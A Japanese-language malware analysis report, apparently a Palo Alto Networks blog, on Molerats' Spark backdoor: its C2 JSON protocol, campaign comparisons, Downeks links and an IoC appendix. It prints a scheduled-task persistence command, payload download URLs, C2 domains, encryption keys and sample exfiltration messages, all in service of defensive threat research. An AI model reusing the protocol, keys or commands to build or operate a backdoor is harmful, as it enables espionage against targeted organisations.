C2によって提供されるコマンドを実行した後、ペイロードはC2サーバーにメッセージを送信します。このメッセージは、そのサーバーに特定のタスク識別子を送信することで、コマンドを受信したことをC2に通知する目的を持つと私たちは考えています。ペイロードは、次のJSONに示すように、通信タイプ"MorganE"を使用してC2に通知します。
{"CallieVK":"eyJKYXNlTiI6W3siTGF3cmVuY2UiOjV9XX0=","ReeceWNM":"MorganE"}
"CallieVK"フィールド内のデコードされたデータには、"JaseN"という名前のJSON配列が含まれており、これには、受信したタスク番号が含まれた"Lawrence"というフィールド名を持つ1つ以上のオブジェクトが含まれています。例えば、{"JaseN":[{"Lawrence":5}]}のようになります。この肯定応答は、図10に示すようにC2サーバーに送信されます。
図10. コマンドを受信したことをC2サーバーに通知するペイロード
ペイロードは、コマンドの受信を肯定応答した後、C2が、{"Allier" : 7}などのように、"Allier"フィールドに数字が設定されたJSONオブジェクトを含む応答をすることを期待します。この送信の目的や、ペイロードでこの数値がどのように使用されるのかはよくわかりませんが、図11に"Allier"フィールドを含むbase64エンコードされた暗号テキストを示します。
図11 Allier JSONオブジェクトを提供するC2サーバー
ペイロードは、"Allier" JSONオブジェクトを受信した後、実行したコマンドの結果をC2サーバーに送信します。ペイロードは、"Zeke"という名前の配列を持つJSONオブジェクトを作成します。この配列には、コマンドの結果を保存するために使用する"FrederickT"フィールド、タスク識別子を示す"ReesefP"フィールド、コマンドが成功した場合のブール値を格納する"KaileeXws"フィールドを持つJSONオブジェクトが含まれています。結果のJSONは、C2によって発行された'whoami'コマンドの結果が"test-system\<redacted>"である場合は、次のようになります。
{"Zeke":[{"FrederickT":"5yUu16Ae8WKt<redacted>","KaileeXws":true,"ReesefP":5}]}
ペイロードは、このデータをbase64エンコードし、次のようにアウトバンドJSONオブジェクト内の"CallieVK"フィールドを設定し、"ReeceWNM"フィールドを"Winston"通信タイプに設定します。
{"CallieVK":"eyJaZWtlIjpbeyJGcmVkZXJpY2tUIjoiNXlVdTE2QWU4V0t0aX<redacted>0iLCJLYWlsZWVYd3MiOnRydWUsIlJlZXNlZlAiOjV9XX0=","ReeceWNM":"Winston"}
次に、ペイロードは、このJSONオブジェクトを暗号化してC2サーバーに送信し、この発行したコマンドの結果を盗み出します。図12は、"Winston"通信タイプを含む暗号化されたJSONオブジェクトが含まれたHTTP POST要求を示しています。
図12. 発行したコマンドの結果をC2サーバーに送信するペイロード
ペイロードは、最初のコマンドの結果を送信した後、C2が、"{"Garrison" : 8}"など、"Garrison"フィールドに数値を設定したJSONオブジェクトで応答することを期待します。図13は、C2サーバーの、"Garrison"フィールドが含まれたJSONオブジェクトの暗号化テキストでの応答を示しています。
図13. Garrison JSONオブジェクトをペイロードに送信するC2サーバー
これは、C2のチェックインおよび最初のコマンド実行部分を終結させます。ペイロードは、継続的にHTTP要求を送信するループに入ります。この要求は、以前説明したJSONオブジェクトの同じシーケンスを使用して実行する追加のコマンドを取得するためのものです。これは、C2にシステム情報を送信した"JoslynKe"通信タイプの後から始まります。C2にシステム情報を送信してその応答を解析してコマンドを取得する代わりに、このループの各繰り返しは、ここで示された"VanessaFM"の通信タイプで始まります。
{"CallieVK":"eyJBZGVsaW5lUkQiOiJ2Y0picTZuemdKaz0iLCJBdmVyaXp0IjoiMSIsIkJyYW5kZW50bEsiOjEsIk1hdGhpYXNOYm8iOlt7IkFkYWx5bm5nUyI6MSwiQ29sbGluc1BNIjoiS1Q2TloyMVNGTVQ5WHFuZVM3MjJmZkVucG1FUFVZcDBqcDFFTXRaVEtyUmNNWkVFWG56QnZnPT0iLCJOZXZhZWgiOnRydWV9XX0=","ReeceWNM":"VanessaFM"}
"CallieVK"フィールドのデータはデコードされて、いくつかのフィールドを持つJSONオブジェクトになります。その1つは、"MathiasNbo"と呼ばれる配列であり、それには、侵害されたシステムのUUIDを送信するJSONオブジェクトが、"CollinsPM"という名前のフィールドに含まれています。このフィールドは、前に"JoslynKe"通信タイプの"ZaydenlnL"フィールドでC2に送信されたものです。このJSONオブジェクトには、ニックネームまたはキャンペーン識別子値がbase64エンコードされた暗号テキストの形式で含まれた"AdelineRD"フィールドも含まれています。私たちは、既知のSparkペイロードのキャンペーン コードのリストをまとめ、付録に記載しました。結果のJSONオブジェクトは、以下のようなものになります。
{"AdelineRD":"vcJbq6nzgJk=","Averizt":"1″,"BrandentlK":1,"MathiasNbo":[{"AdalynngS":1,"CollinsPM":""<base64 encoded ciphertext of UUID seen in ZaydenlnL field>","Nevaeh":true}]}
このJSONは、図14のように暗号化されてbase64エンコードされ、C2サーバーに送信されます。ペイロードは、メイン ループの繰り返しごとに同じJSONを使用し、C2から、"Jordanlzw"、"Allier"、および"Garrison"の各フィールドが含まれた前述と同じシーケンスの応答が提供され、追加のコマンドを受信することを期待しています。
図14. 追加のコマンドを要求するHTTP POSTをC2サーバーに発行するペイロード
2019年と2020年とのキャンペーンの比較
追加のSparkサンプルを収集しながら、私たちは、2019年のキャンペーンのサンプルとSparkキャンペーンで使用された2020年1月にコンパイルされた新しいサンプルを見つけました。これらのキャンペーンに使用された配信文書とSparkペイロードは、2019年の10月と11月の攻撃で観測された配信文書とは異なります。大まかに言えば、2019年1月の配信文書は内部にそのペイロードが埋め込まれている自己充足型でしたが、2019年の10月と11月および2020年1月の配信文書は、リモート サーバーとの対話を必要としていました。2019年10月の文書と2020年1月の文書の相違は、前者は攻撃者が制御するサーバーからペイロードをダウンロードするVBScriptのダウンロードを試みるのに対して、2020年1月の文書はGoogleドライブからリモート テンプレートをロードして、そのマクロがGoogleドライブからペイロードのダウンロードを試みるという点です。これらの配信文書それぞれによってインストールされる既知のSparkペイロードも異なっており、私たちはこれをこのブログで前述した11月の攻撃での既知のペイロードと比較します。
2019年のキャンペーンの配信文書を解析したところ、それはマクロを有効化したWord文書(SHA256:40b7a1e8c00deb6d26f28bbdd3e9abe0a483873a4a530742bb65faace89ffd11)であったことがわかりました。このマクロは、"Shapes("textbox1").Visible = True"という行で文書内のテキストボックスを可視に設定することで、おとりコンテンツを作成しましたが、このブログで前述した攻撃では更新されたおとりコンテンツを表示する試みはありませんでした。もう1つの著しい違いは、2019年の1月と10月の配信文書はどちらも、それぞれ2番目のVBScript %userprofile%\wmsetup.vbsとprogramdata\Micorsoft\Microsoft.vbsに書き込みましたが、wmsetup.vbsスクリプトにはバイナリ ペイロードが含まれるのに対し、Microsoft.vbsはバイナリ ペイロードをダウンロードするもう1つのVBScriptのダウンロードを試みることです。wmsetup.vbsスクリプトは、埋め込まれたbase64エンコードされたペイロード(SHA256:9511940ed52775aef969fba004678f4c142b33e2dd631a0e8f4e536ab0b811db
)をデコードし、それを%temp%\ihelp.exeに保存し、以下のコマンドを実行することで、永続化するスケジュールされたタスクを作成します。
schtasks /create /f /sc minute /mo 1 /tn ihelp /tr %temp%\ihelp.exe
2019年1月に配布されたSparkペイロードのいくつかの注目に値する特徴としては、他の既知のサンプルから自由に使用できるさまざまなライブラリを使用することが挙げられます。JSONの代わりにmsgpackv1ライブラリを使用してその構成とC2通信を構築したり、cURLの代わりにSFMLライブラリを使用するなどです。また、2019年11月に配布されたSparkペイロードとは異なり、このペイロードは、AES暗号を使用して、その構成および他の関連文字列を復号したり、そのC2とのネットワーク通信を暗号化および復号します。このブログで前述したようにキーと暗号テキストに対してカスタムのrolling XOR暗号を使用することなく、提供されたキー文字列のSHA256ハッシュ全体を使用します。msgpackを使用して構造化されたこのペイロードから復号された構成は、以下のようなものになります。
\x88\xa4jevG\xadsmartweb9[.]com\xa3JRk\xa1/\xa3ufRP\xa4qNxp\x00\xa4kfds\xa0\xa4WjaS\x01\xa3WnF\xb8OMfX5GiCmOICUvhunB2lWQ==\xa3sRF\xcd'\x10
また、2020年のSparkキャンペーン(SHA256:8c0966c9518a7ec5bd1ed969222b2bcf9420295450b7ed2f45972e766d26ded8)の配信文書を解析したところ、それは2019年の1月と10月のどちらの配信文書とも異なりました。まず、最初の配信文書は、マクロが含まれておらず、Googleドライブ、具体的には以下のURLからのリモート テンプレートのロードを試みます。
hxxps://drive.google.com/uc?export=download&d=1NbCEnL-jA89PWBEhLWwHmBM5nmUKNRS8
リモート テンプレート(SHA256:a0ae5cc0659693e4c49d3597d5191923fcfb54040b9b5c8229e4c46b9330c367)には、以下のURLから実行可能ファイルのダウンロードを試みるマクロが含まれています。
hxxs://drive.google.com/uc?export=download&id=1yiDnuLRfQTBdak6S8gKnJLEzMk3yvepH
Googleドライブ リンク(SHA256:7bb719f1c64d627ecb1f13c97dc050a7bb1441497f26578f7b2a9302adbbb128)でホストされた実行可能ファイルは、コンパイルされたAutoItスクリプトであり、%userprofile%\runawy.exeへのSparkバックドアのインストールを試みます。これは、このブログで前述した"attachment.doc"配信文書によってインストールされたことが観測されたものとまったく同じドロッパおよびペイロードです。
表6は、このセクションで説明したSparkペイロードの機能の比較を示しています。残念ながら、私たちは、2019年10月の攻撃で配布されたMOFA関連のWord文書によってインストールされたペイロードを取得できませんでした。2019年1月と2020年の配信文書でインストールされたSparkサンプルを、2019年11月のPictures.pdf配信文書でインストールされたSparkサンプルと比較すると、この脅威グループが継続的にこのバックドアを開発していることを示唆する注目に値する相違が認められます。
機能 | 2019年1月のSpark | 2019年11月のSpark (Pictures.pdf) | 2019年10月と11月の"attachment.doc"と2020年1月の"Sparkキャンペーン" |
ドロッパ | なし | コンパイルされたAutoItスクリプト | コンパイルされたAutoItスクリプト |
HTTPライブラリ | SFML | cURL 7.56.0-DEV | elnormous' HTTPRequest |
構成構造 | msgpackバージョン1 | JSON for Modern C++ v2.1.1 | JSON for Modern C++ v3.7.0 |
ペイロード パッカー | Enigma Virtual Box | Enigma (5.X) | Enigma (5.X) |
使用されている暗号 | 暗号テキストに対するAES | キーおよび暗号テキストに対するrolling XORと、暗号テキストに対する3DES | キーおよび暗号テキストに対するrolling XORと、16バイトのチャンクの暗号テキストを復号するカスタムAES |
暗号化されたデータ | 構成、C2通信の名前、システム情報を収集するためのコマンド | 構成、C2通信の名前、システム情報を収集するためのコマンド | 構成、C2通信の名前 |
永続化 | スケジュールされたタスク | @StartupDirのLNKのショートカット | @StartupDirのコピーされた実行可能ファイル、スケジュールされたタスク |
表6. 2019年1月、2019年10月、2019年11月、2020年1月に配布されたSparkペイロードの比較
Downeksへの接続
Kasperskyのレポートは、Moleratsのサブグループ(別名the Gaza Cybergang)が、Sparkペイロードを配布したOperation Parliamentキャンペーンを行っていると述べており、私たちは、この脅威グループがDustySkyキャンペーンでDowneksを配布していることを観測しました。また、開発とインストールの面では、SparkとDowneksにいくつかの類似点を観測しました。
例えば、同じバインダー トロイの木馬を観測しました。これは、おとり文書を開くためとペイロードをインストールするために使用される悪意のあるアプリケーションであり、1つはDowneksペイロードをインストールし、他の2つはSparkをインストールします。Downeksをインストールするバインダー トロイの木馬は、2015年12月にコンパイルされており、私たちのブログで述べたようにDustySkyキャンペーンで使用されました(SHA256: 75336b05443b94474434982fc53778d5e6e9e7fabaddae596af42a15fceb04e9)。また、私たちは、Sparkサンプルをインストールするこのバインダー トロイの木馬のサンプルを2つ持っています。2017年11月にコンパイルされたもの(SHA256:4889318807225e51bae4d9d9a536e5775eaf92685b289eef6839f9d89f8c4b85)と2018年4月にコンパイルされたもの(SHA256:23cf013ab91e6bd964c4d9a5d48c188a09838c32a75db68dd0690418f5ca7e7c)です。
開発面では、DowneksとSparkのどちらのペイロードも、GitHubで入手可能ないくつかのオープンソース プロジェクトのライブラリおよびコードを使用して、そのC2通信を実行し、JSON内にデータを構造化します。第一に、SparkはC2通信にcURLライブラリ、具体的には、ソース コードをGitHubで入手可能なバージョン7.56.0-DEVを使用し、Downeks (SHA256:9347a47d63b29c96a4f39b201537d844e249ac50ded388d66f47adc4e0880c7)はC2サーバーとの通信にcURLを使用しましたが、それはもっと古いバージョン(7.39.0)でした。第二に、ペイロードはJSONを使用してその構成を解析し、C2サーバーとの間で送受信するメッセージを構造化します。ここでは、GitHubで入手可能なJSON for Modern C++ Version 2.1.1を使用します。前に延べたDowneksも、JSONを使用してその構成を解析し、C2サーバーとの間で送受信するデータを構造化していました。ただし、この場合は、GitHubから自由に入手可能なTencent's RapidJSONが使用されていました。これは、Sparkの開発者がSparkのバージョンごとに異なるJSONライブラリを使用している、という以前の私たちの観測に合致します。
結論
Moleratsは、Gaza Hacking Team、Gaza Cybergangとも呼ばれ、2019年10月から2019年12月初めにかけて、政府、通信事業者、保険および小売業界といった6カ国における8つの組織を標的としていました。このグループは、スピアフィッシング電子メールを使用して悪意のあるWordおよびPDFの両方の文書を配布し、ソフトウェアの脆弱性を活用する代わりに被害者が感染するようソーシャル エンジニアリングを試みます。また、このグループは、攻撃でSparkバックドアを使用しますが、重要なデータを構造化してC2通信を実行するために、自由に入手可能なさまざまなライブラリを使用してこのツールの開発を続けています。
パロアルトネットワークスのお客様は、以下によってこのブログで説明した攻撃から保護されています。
- すべての既知のSparkペイロードおよび配信文書は、WildFireで悪意があると判定されます。
- すべての既知のSpark C2ドメインおよび配布に使用されるドメインは、PANDBおよびDNSセキュリティで悪意があると分類および判定されてマークされます。
- AutoFocusをご利用のお客様は、Molerats_Sparkタグで配信文書およびペイロードを調べることができます。
付録
IoC
MOFA文書に関連するファイル
- d19104ef4f443e80c21375f1b779f00c960e0193e8aade69d7ad87a11f39c897 – MOFA- 031019.doc
- dc3311b3a827840c25689c0e153f2c09ba9583bcf18cdc43b88b12cf9846e94b – Microsoft.vbs
- c45b5b01e1c3284fd694db6aa0ebeab8abe78d9bb12eb41b957cd121d97b3516 – PlayerVLC.vbs
- 03be1d7e1071b018d3fbc6496788fd7234b0bb6d3614bec5b482f3bf95aeb506 – MOFA- 061019.doc
- 725d907b33cca8cec22f561068a3a8abf3616a8e2f452adb7fbd4aec20390f06 – Microsoft.vbs
Attachment.docに関連するファイル
- eaf2ba0d78c0fda95f0cf53daac9a89d0434cf8df47fe831165b19b4e3568000 – attachment.doc
- 7bb719f1c64d627ecb1f13c97dc050a7bb1441497f26578f7b2a9302adbbb128 – rundll64.exe
- 64ea1f1e0352f3d1099fdbb089e7b066d3460993717f7490c2e71eff6122c431 – runawy.exe
Pictures.pdfに関連するファイル
- 9d6ce7c585609b8b23703617ef9d480c1cfe0f3bf6f57e178773823b8bf86495 – Pictures.pdf
- 1742caf26d41641925d109caa5b4ebe30cda274077fbc68762109155d3e0b0da – Pictures.rar
- 92d0c5f5ecffd3d3cfda6355817f4410b0daa3095f2445a8574e43d67cdca0b7 – هذه عينة قليلة من الصور.exe
- 5139a334d5629c598325787fc43a2924d38d3c005bffd93afb7258a4a9a8d8b3 – pdf.exe
関連するSparkペイロードおよび配信文書
- ee9f90819a578c8256fc950f62bd9f7b051edbee06618a26fa21c2875c3c301e – المذكرة رقم 973 قائمة الحكومة الج (Note No. 973 Government List c)
- 9451a110f75cbc3b66af5acb11a07a8d5e20e15e5487292722e695678272bca7 – GoogleChrome.vbs
- ddf938508618ff7f147b3f7c2b706968cace33819e422fe1daae78bc256f75a8 – MOFA- 101019.doc
- 4f51b180a6d0b074778d055580788dc33c9e1fd2e49f3c9a19793245a8671cba – Microsoft.vbs
- feec28c7c19a8d0ebdca8fcfc0415ae79ef08362bd72304a99eeea55c8871e21 –
- bf126c2c8f7d4263c78f4b97857912a3c1e87c73fee3f18095d58ef5053f2959 – التقرير اليومي حول أخر مستجدات الإرهاب العالمي- 9 – 9 – 2019.doc (Daily updates on the latest terrorism report Alaalmi- 9 – 9 – 2019.doc)
- 243f1301d1d759c17cd49336512ebceb9d347995c90a6e00aff926439d63f12d – Daily Report.rar
- 602828399e24dca9259a4fc4c26f07408d1e0a638c015109c6c84986dc442ebb
- eaf2ba0d78c0fda95f0cf53daac9a89d0434cf8df47fe831165b19b4e3568000
- 273aa20c4857d98cfa51ae52a1c21bf871c0f9cd0bf55d5e58caba5d1829846f
- 71ea0ba573451b14bb411ad28e5aac883f8af0376db8c9d34f309778c901c5d6
- a0ae5cc0659693e4c49d3597d5191923fcfb54040b9b5c8229e4c46b9330c367
- 8c0966c9518a7ec5bd1ed969222b2bcf9420295450b7ed2f45972e766d26ded8
- 7bb719f1c64d627ecb1f13c97dc050a7bb1441497f26578f7b2a9302adbbb128
- 64ea1f1e0352f3d1099fdbb089e7b066d3460993717f7490c2e71eff6122c431
- e8d73a94d8ff18c7791bf4547bc4ee2d3f62082c594d3c3cf7d640f7bbd15614
- 6e60f5c65299ee7f7b257f5c83d3bb36154654b26e721136f7184514fcf6b296
- b08b8fddb9dd940a8ab91c9cb29db9bb611a5c533c9489fb99e36c43b4df1eca
- a6e0297777ba29e21e5d1acca6210d436eee5c2b93d2dec27910ffd6e2266559
- 6e896099a3ceb563f43f49a255672cfd14d88799f29617aa362ecd2128446a47
- cf32479ed30ae959c4ec8a286bb039425d174062b26054c80572b4625646c551
- 92d0c5f5ecffd3d3cfda6355817f4410b0daa3095f2445a8574e43d67cdca0b7
- 5139a334d5629c598325787fc43a2924d38d3c005bffd93afb7258a4a9a8d8b3
- 89acce7cdd354a04f2edd4a2226caf5c47246a8196ec1d9b98159da38ec20c24
- b654dd768912e09b9c71eb388995b1d69b5baa45e970a6afc42733d647220712
- daa72ba2b9525d74e0a3564d0d72e06eed27d04ce63fe98c45b1e84cee09987c
- c39e3adb6e15b9964bf0f9702b632086951b4ed9f9fb9cadd6975962a031a398
- 255a29f88150285a9553f67a6475dc50fcbb5fc737a0178cc0e737d49c8d1b20
- 4889318807225e51bae4d9d9a536e5775eaf92685b289eef6839f9d89f8c4b85
- 23cf013ab91e6bd964c4d9a5d48c188a09838c32a75db68dd0690418f5ca7e7c
- 75336b05443b94474434982fc53778d5e6e9e7fabaddae596af42a15fceb04e9
- 9a3ec0a8b2a88106fc537d9cae1989f6fba36bb43352a944d2031e7b2ab7673c
- 89d7337ac102cd80316ad59a1dcfcc5c7849d0e7520f0f85e1781574423e38ea
- 19ede61c865a3cdd59d3a5d1a79b7ce83ca7828a6b80a2f968d82b5b56a8603c
- f9df76f634586c698b967209d83834b98ff3d245d47d6993bfb27a0aa819d9b9
- 704b19e0460a0fa7d952ba6feb5eadb9054895d1d753df72faf6f470446a0519
- 194c236a3eed81f3180bdcc5bcbd29b782b1a0ef7962ceb1c4cb892a427563ff
- fc420a49b1e9e2200238a4846110c2e4e63bfe6d7088645f49ebb65718a70b7f
- bc9353adc58b983b080b61950fc6689ee340797458fc4fd8a1d6f492976aa0e2
- 8c6dc796b35ef405c42c78e1011cc4a6df09315264d638271cb0674d044886cf
- 9d49020debdc6ab63de249fd9289d51415395fc8b1e8a15a82f200bf90e674ee
- 5b6e43d434148bfcf52fd441f64836ae35f4f0ed9d75bf9707f521bcbb7c0380
- 3a32c81ec609a5466f050c09156f25b5561c691763f865ee437e95a246dcbbe1
- c3e23a42dc49b039828da6cef4ebb7226c85163651a69085ee7e1899aa804fed
- 26b032a9b6a22047eb48f1fb1553827a5b85aa7229422d650fa1f37c48b3aeb1
- 8e5bf597948ea6ad39f0030053978d1a14e1c3dbb4abf044a223e14544c73b7f
- 1513032544512718d068b2f6e8b5087cae9fc446e40cd56c03ab7bbbe047add5
- d04276760d722c241e831dacee7cf9d63cb123ce7188d604df1c56c1197d7160
- 83750372d4e8c043d6f916ec398303dc929b59e05b7f5a9dc5485e4530047f4a
- 23cf013ab91e6bd964c4d9a5d48c188a09838c32a75db68dd0690418f5ca7e7c
- bf4cdb277881754db2f44a014c08ce1857c9c0c47c6c1c8582782b5c887241e2
- 58376e763ef0ca9dccad55e043794b5ec0b34c8c2a20604cff0b26f216e3c1e2
- 399344aa609f17e558356709a398b4478e5c737c7cc843e3d111d33192c35e5a
- 1c43f8f68f7b8e40828f9f74566860b25a5dfd9b7f8b7620d71644866e6cb19d
- ab2335ba3abe97a02a3a2d1b063a08ae649406f88d4cf02d22d724e649b9e7be
- a4c6aea61953d515d38d75ae7b3ef2a37bb26d1f838722f0a67624d6a728549e
- 51c1e6ce3ff1f42734bfa19a7142b5154172232afc5528dad4c527df3a44c0c1
- 329e9e98f08f3d6a017254dd033984cfd6421ccab5b323ebace5d68662a98a09
- 0631ed0995e21ec8f02f6167824eca92e84abfd8cf4dbbd9c7c88f88d4f570cd
- d010ef2b6664779b3c8cfa0a5179b7331d88d34d04350ebeeecb3bae65654393
- 4889318807225e51bae4d9d9a536e5775eaf92685b289eef6839f9d89f8c4b85
- 51042cac30b4d6072f79b3f9b27d8ee7b65f438549c90f57dc5fecc17d35054a
- ec0d30d2fdd301bf0cfe66028c9a37d5535a8161909d0d3573447d1843f61c97
- e6e5593cbac23ec5c51e5f63c4c6616a8eb71697a89f9d1d17cc7be91c36e3e9
- 36166db096ddb50af4f5c4be48b4274c535f40c74ce3450d4ad3bdaa2c28beb3
- 966ad6452793b1562f0081456a951d3310d4e7690fa74ef8ff4046778bd37168
- b2437a54195d51435ad07867a5cb069e831fdd8e48bb70daa3894fde40754bc8
- fe19ab4fd65531163d197d565201c2afea7d9f8e74e5f75c714eb5fe086a02fd
- 212aa6e3f236550bb4b9328071ee4f0e8a74465c75dcf1e6cde8502afde91364
- e489e5297ed8cf594c2a5160eff79b12b9ee68e36e0d00ed31f44b75c4a38f61
- 0eebc31bb64ba0aa0ea335a5f35392ff1d058e97bf5cb5b46d7a89b197dcba7a
- fe0f23d6675260dd40f277906aa3dd34cbef2243336334dda10ad4500f8e6883
- 7c5a9ce04002be953c556b5b50c10f8d462abc92d1ffe28a325d7ea741701be1
- 45a2c50edd710476e0de8ece6cc5931035ce8183ac4cf521d494d94744d44c2c
- b84f2497e4cfeac240b1815b22741609e5a31f0be11667a3c7256c16788728ec
- 78696cf4370817cb0ffd6930a92553d3551fe77cdc6d45638ddd13f05b9218b8
- 5109f2c8f014698f1d2f0d59a7c9cc1cd9400a6fe4dcde95cc475f453e74bc6e
- ab4e43b4e526d44bf12ae5113184afdf5c15630808f674f5e1a472eb6811ce3f
- daa72ba2b9525d74e0a3564d0d72e06eed27d04ce63fe98c45b1e84cee09987c
- 64ea1f1e0352f3d1099fdbb089e7b066d3460993717f7490c2e71eff6122c431
- 6e60f5c65299ee7f7b257f5c83d3bb36154654b26e721136f7184514fcf6b296
- B08b8fddb9dd940a8ab91c9cb29db9bb611a5c533c9489fb99e36c43b4df1eca
- cf32479ed30ae959c4ec8a286bb039425d174062b26054c80572b4625646c551
- 9511940ed52775aef969fba004678f4c142b33e2dd631a0e8f4e536ab0b811db
- e3779f6252ca606ace9ae06623ba086d1a441582b625e433799260d71cdb1b4b
- e6e9f7b0449976537d9276192e5767c9909cd34df028a8bf1cac3dbe490f0e73
- 69df8e4bdc3fd69deb6c866254f80f6288549222ed0d07ccd4c05597e75414df
- 40b7a1e8c00deb6d26f28bbdd3e9abe0a483873a4a530742bb65faace89ffd11
関連する配信用ドメイン
- servicebios[.]com
- dapoerwedding[.]com
- zmartco[.]com
Spark C2のドメイン
- webtutorialz[.]com
- nysura[.]com
- laceibagrafica[.]com
- motoqu[.]com
- smartweb9[.]com
- laptower[.]com
- app.msexchanges16[.]com
- msexchange13[.]com
- cloudserviceapi[.]online
- updates.masterservices[.]online
- clients.itresolver[.]online
- update.itresolver[.]online
- 91.219.237[.]99
- goldenlines[.]site
- Update.nextdata[.]site
Sparkの名前と詳細
復号された文字列 | 用途 | 説明 |
Lawrence | C2チャネル(ペイロードから) | Ivoryフィールドに含まれるタスク番号の値を保存するために使用されるディクショナリ(JaseN)のキー名 |
Allier | C2チャネル(C2から) | 用途が不明だが、MorganE通信タイプに対する応答として予期されている数値を保存するために使用されるキー名 |
JaseN | C2チャネル(ペイロードから) | MorganE通信タイプのディクショナリのリストのためのキー名、受信したタスク番号を表す |
Ivory | C2チャネル(C2から) | タスク番号と思われる数値を保存するために使用されるJordanlzwリストのキー名 |
Jonas | C2チャネル(C2から) | 理由は不明だが、ブール値を保存するために使用されるJordanlzwリストのキー名 |
Reginacy | C2チャネル(C2から) | プロセスを作成せずに単に'ok'をC2に送信するためのブール値を保存するために使用されるJordanlzwリストのキー名 |
TrumanRd | C2チャネル(C2から) | 実行可能ファイルで実行されるコマンド ライン引数を保存するために使用されるJordanlzwリストのキー名 |
Alanih | C2チャネル(C2から) | 実行する実行可能ファイルを保存するために使用されるJordanlzwリストのキー名 |
Averizt | C2チャネル(ペイロードから) | バイナリ内にハードコーディングされているVanessaFM通信タイプの数値を保存するキー名 |
MathiasNbo | C2チャネル(ペイロードから) | VanessaFM通信タイプのディクショナリのリストのためのキー名 |
BrandentlK | C2チャネル(ペイロードから) | 構成内にハードコーディングされたVanessaFM通信タイプの数値を保存するキー名。 |
AdalynngS | C2チャネル(ペイロードから) | 目的不明の数値を保存するために使用されるディクショナリ(MathiasNbo)のキー名。 |
AdelineRD | C2チャネル(ペイロードから) | VanessaFM通信タイプでC2に送信されたペイロード構成から取得したbase64エンコードされて暗号化された文字列を保存するキー名。ニックネームまたはキャンペーン/ペイロード識別子と考えられている。 |
CollinsPM | C2チャネル(ペイロードから) | UUIDを保存するために使用されるディクショナリ(MathiasNbo)のキー名。ZaydenlnLフィールドにもある。 |
Nevaeh | C2チャネル(ペイロードから) | 目的不明のブール値を保存するために使用されるディクショナリ(MathiasNbo)のキー名。 |
LondonzO | C2チャネル(C2から) | 指定されたプロセスを作成し、戻りを待つためのブール値の保存に使用されるJordanlzwリストのキー名 |
JoslynKe | C2チャネル(ペイロードから) | システム情報の送信を表すReeceWNMフィールドの値 |
AngelxEv | C2チャネル(ペイロードから) | 情報タイプの値(1 = UUID、2 =ホスト名、3 =ユーザー名)を保存するためにシステム情報ディクショナリ(Maximiliano)内で使用されるキー名 |
ZaydenlnL | C2チャネル(ペイロードから) | AngelxEvで指定されているタイプと関連するデータを保存するためにシステム情報ディクショナリ(Maximiliano)内で使用されるキー名 |
Houstonod | C2チャネル(ペイロードから) | 目的不明の値"1"を保存するためにシステム情報ディクショナリ(Maximiliano)内で使用されるキー名 |
Maximiliano | C2チャネル(ペイロードから) | システム情報ディクショナリのリストを保存するJoslynKe通信タイプのキー名 |
Garrison | C2チャネル(C2から) | おそらく追加のコマンドの結果を送信する前のスリープ間隔としてペイロードによって使用される数値のためのキー名 |
Zeke | C2チャネル(ペイロードから) | Winston通信タイプのディクショナリのリストのためのキー名 |
ReesefP | C2チャネル(ペイロードから) | タスク番号を表すために使用されるZeke配列内のディクショナリ内のキー名 |
FrederickT | C2チャネル(ペイロードから) | タスクのために実行されたコマンドの結果を保存するZeke配列内のディクショナリ内のキー名 |
KaileeXws | C2チャネル(ペイロードから) | 実行が成功した場合にブール値を格納するZeke配列内のディクショナリ内のキー名 |
EverlyY | C2チャネル(C2から) | 指定された秒数の間アイドル状態にするためにペイロードによって使用される数値のためのキー名 |
CallieVK | C2チャネル(ペイロードから) | 通信されたデータの保存に使用される、C2に送信されるJSON内のフィールド |
ReeceWNM | C2チャネル(ペイロードから) | 通信タイプの保存に使用される、C2に送信されるJSON内のフィールド |
MorganE | C2チャネル(ペイロードから) | 関連するデータを送信しようとしているタスク番号を表すReeceWNMフィールド内の値 |
Winston | C2チャネル(ペイロードから) | コマンド実行結果の送信を表すReeceWNMフィールド内の値 |
Jessicay | C2チャネル(ペイロードから) | ビーコンを表すReeceWNMフィールド内の値 |
VanessaFM | C2チャネル(ペイロードから) | 追加のタスクの要求を表すReeceWNMフィールド内の値 |
rEA8GPZf4oIdOsjMxgFD | キー | C2に送信されるJSON内の、収集されたシステム情報などのフィールドの暗号化に使用される |
Jordanlzw | C2チャネル(C2から) | 実行するコマンドを保存するディクショナリのリストのキー名 |
Aryana | C2チャネル(C2から) | Jordanlzwリストに保存されている、実行するコマンドの数の指定に使用される数値のためのキー名 |
24 | 構成 | C2に送信されるメッセージ間の最小スリープ間隔 |
119 | 構成 | 失敗したC2ビーコン間の最小スリープ間隔 |
JvFLb8pHNywoGdhtjsc5 | キー | C2通信の暗号化に使用される |
Sparkのニックネーム/キャンペーン コード
SHA256 | コンパイル時刻 | ニックネーム |
0631ed0995e21ec.. | 2017-03-27 2:46:06 | 28-10 |
966ad6452793b15.. | 2017-05-24 6:15:04 | Nick name |
212aa6e3f236550.. | 2017-05-24 6:15:04 | Nick name |
ab4e43b4e526d44.. | 2017-05-24 6:15:04 | Nick name |
36166db096ddb50.. | 2017-10-07 7:06:22 | bbb |
d010ef2b6664779.. | 2017-10-07 7:06:23 | 28-10 |
194c236a3eed81f.. | 2017-10-22 7:03:45 | sss |
fc420a49b1e9e22.. | 2017-10-22 7:03:45 | sss |
bc9353adc58b983.. | 2017-10-22 7:03:45 | sss |
9d49020debdc6ab.. | 2017-10-22 7:03:45 | Nick name |
3a32c81ec609a54.. | 2017-10-22 7:03:45 | 3007 |
c3e23a42dc49b03.. | 2017-10-22 7:03:45 | 50852 |
8e5bf597948ea6a.. | 2017-10-22 7:03:45 | O |
151303254451271.. | 2017-10-22 7:03:45 | Nick name |
83750372d4e8c04.. | 2017-10-22 7:03:45 | 0204 |
58376e763ef0ca9.. | 2017-10-22 7:03:45 | R |
1c43f8f68f7b8e4.. | 2017-10-22 7:03:45 | ood |
ab2335ba3abe97a.. | 2017-10-22 7:03:45 | Nick name |
a4c6aea61953d51.. | 2017-10-22 7:03:45 | Nick name |
329e9e98f08f3d6.. | 2017-10-22 7:03:45 | FUD |
78696cf4370817c.. | 2017-10-22 7:03:45 | Ben |
ec0d30d2fdd301b.. | 2017-10-28 10:55:21 | 28-10 |
9511940ed52775a.. | 2017-12-02 11:16:24 | <空白> |
5139a334d5629c5.. | 2019-09-16 10:00:45 | bnvcs |
89acce7cdd354a0.. | 2019-09-16 10:00:45 | Docx |
b654dd768912e09.. | 2019-09-16 10:00:45 | 2909 |
daa72ba2b9525d7.. | 2019-09-16 10:00:45 | PalCamp |
